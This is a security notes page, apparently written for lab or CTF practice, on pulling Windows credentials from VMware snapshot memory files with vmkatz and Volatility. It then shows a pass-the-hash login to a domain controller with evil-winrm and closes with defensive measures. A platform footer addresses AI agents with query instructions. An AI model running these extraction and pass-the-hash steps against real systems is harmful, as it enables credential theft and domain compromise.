> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/vmware-snapshot-memory-forensics.md).

# VMware Snapshot Memory Forensics

### What is a VMware Snapshot?

A VMware snapshot captures the complete state of a running virtual machine at a point in time — including disk, CPU registers, and **full RAM contents**. This is used for backups and rollbacks.

The snapshot produces several files:

| File    | Contents                              |
| ------- | ------------------------------------- |
| `.vmdk` | Virtual hard disk                     |
| `.vmem` | Raw memory dump of the VM             |
| `.vmsn` | Snapshot state file (includes memory) |
| `.vmx`  | VM configuration                      |

### Why .vmsn Files Are Dangerous

A `.vmsn` or `.vmem` file from a running Windows machine contains a frozen copy of RAM — including the **LSASS process**. LSASS caches credentials for all logged-in users: NT hashes, Kerberos tickets, and sometimes plaintext passwords.

Accessing a backup share with these files is equivalent to doing a live LSASS dump — but offline, persistent, and without needing to run anything on the live system.

### Extracting Credentials with vmkatz

`vmkatz` performs Mimikatz-style credential parsing directly against `.vmsn`/`.vmem` files without touching a live system:

```powershell
# On Windows, point at the snapshot file
.\vmkatz.exe "C:\Shares\VMBackups\snapshot\Windows Server 2019-Snapshot1.vmsn"

# Output:
# Username: Administrator
# NT Hash : f.........................
```

### Using the Recovered Hash

```bash
# Pass-the-Hash directly to the DC
evil-winrm -i dc01.domain.htb -u administrator -H f...................
```

***

### Alternative — Volatility (open source)

```bash
# Install
pip install volatility3 --break-system-packages

# Extract hashes from .vmem
vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump.Hashdump

# Extract cached credentials
vol -f snapshot.vmem windows.cachedump.Cachedump

# List processes (verify LSASS is there)
vol -f snapshot.vmem windows.pslist.PsList
```

***

### Key Mindset

Backup infrastructure is one of the highest-value targets on any network. Backup shares routinely hold credentials and data from every machine they protect, but are frequently under-secured. Access to a VM backup = access to everything that was running inside it.

***

### Defence

* Treat VM backup shares with the same sensitivity as the DC itself
* Restrict access to dedicated backup service accounts only
* Enable access logging on backup shares
* Encrypt `.vmem` and `.vmsn` files at rest
* Isolate backup infrastructure on a dedicated VLAN
* Audit share permissions on backup directories regularly


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/vmware-snapshot-memory-forensics.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.